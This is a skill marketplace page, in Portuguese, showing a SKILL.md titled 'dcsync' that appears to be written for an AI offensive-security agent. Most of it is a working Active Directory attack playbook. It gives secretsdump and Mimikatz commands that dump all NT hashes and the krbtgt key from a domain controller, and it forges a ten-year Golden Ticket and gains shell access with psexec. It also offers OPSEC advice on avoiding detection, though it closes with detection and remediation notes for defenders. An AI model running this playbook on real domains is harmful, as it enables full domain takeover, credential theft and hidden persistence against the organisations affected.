Skip to main content

dcsync

Abuse replication rights (DS-Replication-Get-Changes + GetChangesAll) to dump krbtgt and arbitrary user NT hashes from a DC.

Ir para a instalação

Informações da origem

Repositório
BitterSecurity/Decepticon
Última atividade na origem
2 de junho de 2026 às 17:22
Idioma detectado do SKILL.md
inglês
Estrelas
5.565
Forks
1.053

Opções de instalação

Por padrão, está selecionado o prompt que primeiro revisa a origem. Você pode mudar para um comando direto ou baixar uma cópia local.

Revise os arquivos de origem

Leia o SKILL.md e os arquivos complementares exibidos pelo SkillsMP antes de decidir se vai instalar.

Exibindo SKILL.md

SKILL.md
Instruções da origem · Visualização somente leitura
name
dcsync
description
Abuse replication rights (DS-Replication-Get-Changes + GetChangesAll) to dump krbtgt and arbitrary user NT hashes from a DC.
metadata
{"subdomain":"active-directory","when_to_use":"dcsync replication rights secretsdump krbtgt nt hash dump","mitre_attack":["T1003.006"]}
# DCSync Playbook DCSync is not a vulnerability — it's a legitimate AD feature for domain controllers to replicate. The "vulnerability" is when a non-DC principal has the replication-rights ACL. ## 1. Identify DCSync candidates From BloodHound: ``` kg_query(kind="user", filter="dcsync=true") + kg_query(kind="group", filter="dcsync=true") ``` Or Cypher direct: ``` MATCH (n)-[:GetChanges|GetChangesAll]->(:Domain) RETURN DISTINCT n.name, labels(n) ``` Common holders (legitimate): - Domain Admins, Enterprise Admins, Domain Controllers - Exchange Trusted Subsystem (Exchange installs grant by default — historical PrivExchange) - Replicator (rare) Common holders (misconfig = jackpot): - Service accounts (admins delegated mistakenly) - Helpdesk groups - Groups from old migrations ## 2. Execute DCSync **Impacket** (most reliable): ```bash # All NT hashes including krbtgt secretsdump.py 'DOM/USER:PASS@DC_IP' -just-dc \ -outputfile /tmp/secrets # Just one target user secretsdump.py 'DOM/USER:PASS@DC_IP' -just-dc-user 'krbtgt' # With NT hash auth instead of password secretsdump.py -hashes :NT_HASH 'DOM/USER@DC_IP' -just-dc # With Kerberos ticket (cleaner OPSEC) export KRB5CCNAME=/tmp/user.ccache secretsdump.py -k -no-pass 'DOM/USER@DC_FQDN' -just-dc ``` **Mimikatz** (from Windows): ``` lsadump::dcsync /domain:dom.local /user:krbtgt lsadump::dcsync /domain:dom.local /all /csv ``` ## 3. Output files secretsdump produces: - `/tmp/secrets.ntds` — `user:RID:LM_HASH:NT_HASH:::` format - `/tmp/secrets.ntds.kerberos` — Kerberos keys (aes256, aes128, des) - `/tmp/secrets.ntds.cleartext` — any reversibly-encrypted passwords (rare, but yes) ## 4. Highest-value secrets to grab | User | Why | What unlocks | |---|---|---| | `krbtgt` | Master Kerberos key | Golden Ticket — persistence + arbitrary user impersonation forever (until rotation) | | `Administrator` | Built-in domain admin | Direct admin on most assets | | Domain Admin members | Lateral movement | Most assets | | `<trustname>$` | Trust accounts | Cross-forest movement | | Service accounts | Often local admin on hosts | Lateral movement | | Exchange computer accounts | Mailbox access | E-discovery / pivot | ## 5. Golden Ticket (post-DCSync) With krbtgt NT hash: ```bash ticketer.py -nthash KRBTGT_NT \ -domain-sid 'S-1-5-21-XXXX-YYYY-ZZZZ' \ -domain 'dom.local' \ Administrator # Produces Administrator.ccache — TGT for Administrator that lasts 10 years export KRB5CCNAME=Administrator.ccache psexec.py -k -no-pass 'DC@DC_FQDN' ``` ## 6. Promote ``` kg_add_node(kind="credential", label="krbtgt:NT_HASH", props={"source":"dcsync","value":"<hash>"}) kg_add_node(kind="vulnerability", label="DCSync from <principal>", props={"severity":"critical"}) kg_add_edge(src=<vuln>, dst=<krbtgt>, kind="extracts") kg_add_edge(src=<krbtgt>, dst=<crown_jewel:domain>, kind="compromises") ``` ## OPSEC - DCSync generates **event 4662** on DCs with `Properties: Replicating Directory Changes` - Defender's high-signal detection (the **only** good DCSync detection) - BloodHound's `:DS-Replication-Get-Changes` GUID: `1131f6aa-9c07-11d1-f79f-00c04fc2dcd2` - A single DCSync run, scoped to one user (`-just-dc-user`), produces less log volume than `-just-dc` - Use Kerberos auth (`-k`) instead of NTLM to avoid 4624 type-3 noise ## Detection signature (so you know what blue sees) ``` EventCode=4662 ObjectType=domainDNS Properties: %{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} OR %{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2} SubjectUserName != *$ (filter out DC computer accounts) ``` ## CVSS - DCSync available to non-DC principal: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` = 9.0 - Already DA + DCSync: not a separate finding, just post-compromise activity ## Defender remediation ```powershell # Audit current holders of replication rights Get-ADObject -Identity (Get-ADDomain).DistinguishedName -Properties nTSecurityDescriptor | Select -ExpandProperty nTSecurityDescriptor | Select -ExpandProperty Access | Where { $_.ObjectType -in @('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2','1131f6ad-9c07-11d1-f79f-00c04fc2dcd2') } | Format-Table IdentityReference, ActiveDirectoryRights # Remove unauthorized holders via dsacls dsacls "DC=dom,DC=local" /R "DOM\BadPrincipal" ```
Ver no GitHub